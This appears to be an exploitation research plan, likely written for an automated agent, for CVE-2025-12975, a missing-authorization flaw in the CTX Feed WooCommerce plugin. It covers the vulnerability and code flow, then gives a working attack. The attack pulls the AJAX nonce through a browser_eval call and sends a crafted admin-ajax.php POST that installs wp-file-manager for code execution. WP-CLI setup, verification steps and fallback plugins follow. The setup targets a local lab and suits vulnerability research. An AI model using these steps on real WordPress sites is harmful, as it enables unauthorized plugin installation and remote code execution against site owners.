Exploitation Research Plan: CVE-2025-12975 (CTX Feed Arbitrary Plugin Installation)

1. Vulnerability Summary

The CTX Feed – WooCommerce Product Feed Manager plugin (up to version 6.6.11) contains a missing authorization vulnerability in its AJAX handler for plugin installation. The function woo_feed_plugin_installing() fails to verify if the requesting user has the install_plugins capability. While it implements a nonce check, the nonce is available to users with Shop Manager level access (and potentially lower, depending on where the script is enqueued). This allows an authenticated attacker to install and potentially activate arbitrary plugins from the WordPress.org repository, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: woo_feed_plugin_installing
• Vulnerable Parameter: data (The slug of the plugin to be installed)
• Nonce Parameter: _ajax_nonce
• Authentication: Authenticated, Shop Manager (capability manage_woocommerce or edit_posts) or higher.
• Preconditions:
  1. The attacker must be logged in as a Shop Manager.
  2. The attacker must obtain a valid AJAX nonce for the woo_feed_plugin_installing action.

3. Code Flow

1. Entry Point: The AJAX action woo_feed_plugin_installing is registered (likely in includes/action-handler.php via add_action( 'wp_ajax_woo_feed_plugin_installing', ... )).
2. AJAX Call: The client-side script admin/js/woo-feed-our-plugins.js triggers a POST request to admin-ajax.php.
3. Execution:
   • admin-ajax.php dispatches the request to woo_feed_plugin_installing().
   • The function verifies the nonce using check_ajax_referer() or wp_verify_nonce() using the key _ajax_nonce.
   • Vulnerability: The function proceeds to install the plugin specified in the data parameter without calling current_user_can( 'install_plugins' ).
4. Sink: The function utilizes WordPress core classes (e.g., Plugin_Upgrader) or functions (e.g., wp_ajax_install_plugin) to download and install the plugin from the WordPress repository.

4. Nonce Acquisition Strategy

The nonce is localized for the script woo-feed-our-plugins and stored in the JavaScript object woo_feed_our_plugins_info.

1. Identify Script Loading: The script admin/js/woo-feed-our-plugins.js is loaded on CTX Feed admin pages, specifically the "Our Plugins" or "Recommended Plugins" section.
2. Page Navigation: Navigate to the CTX Feed settings page.
   • URL: /wp-admin/admin.php?page=webappick-wp-feed-settings (or check for a submenu like webappick-wp-feed-about).
3. Extraction:
   • Use browser_eval to extract the nonce from the global scope:
     browser_eval("window.woo_feed_our_plugins_info?.nonce")
   • This variable is defined in the HTML source via wp_localize_script.

5. Exploitation Strategy

We will install the wp-file-manager plugin as a Proof of Concept to demonstrate the ability to introduce new code execution capabilities.

Step 1: Obtain Session for Shop Manager

Log in as a user with the shop_manager role.

Step 2: Extract Nonce

Navigate to the CTX Feed settings page and extract the nonce using the browser_eval tool.

Step 3: Send Malicious AJAX Request

Send a POST request to admin-ajax.php to install the target plugin.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers:
  • Content-Type: application/x-www-form-urlencoded
• Body:

  action=woo_feed_plugin_installing&_ajax_nonce=[EXTRACTED_NONCE]&data=wp-file-manager
  

Step 4: Verify Installation

Check if the plugin directory exists or if the plugin is recognized by WordPress.

6. Test Data Setup

1. Target Version: Install CTX Feed version 6.6.11.
2. User Creation:

   wp user create attacker attacker@example.com --role=shop_manager --user_pass=password
   

3. WooCommerce Requirement: Ensure WooCommerce is installed and active as it is a dependency.

   wp plugin install woocommerce --activate
   

7. Expected Results

• The AJAX request should return a JSON response with a status indicating success (often {"status":200} as hinted by the Success handler in admin/js/woo-feed-our-plugins.js).
• The directory /var/www/html/wp-content/plugins/wp-file-manager/ should be created.

8. Verification Steps

After the HTTP request, use WP-CLI to confirm the installation:

wp plugin is-installed wp-file-manager && echo "SUCCESS: Plugin installed"

Check the plugin status:

wp plugin status wp-file-manager

9. Alternative Approaches

If wp-file-manager fails to install or is blocked, try installing code-snippets or wp-terminal.
If the nonce is not found on the main settings page, check the "Status" or "About" pages of CTX Feed:

• /wp-admin/admin.php?page=webappick-wp-feed-about
• /wp-admin/admin.php?page=webappick-wp-feed-status

If the data parameter expects a different format, check includes/action-handler.php for how the data parameter is handled (e.g., if it expects a JSON object or just a string). Based on the JS, it is passed directly as a string: data: plugin_slug.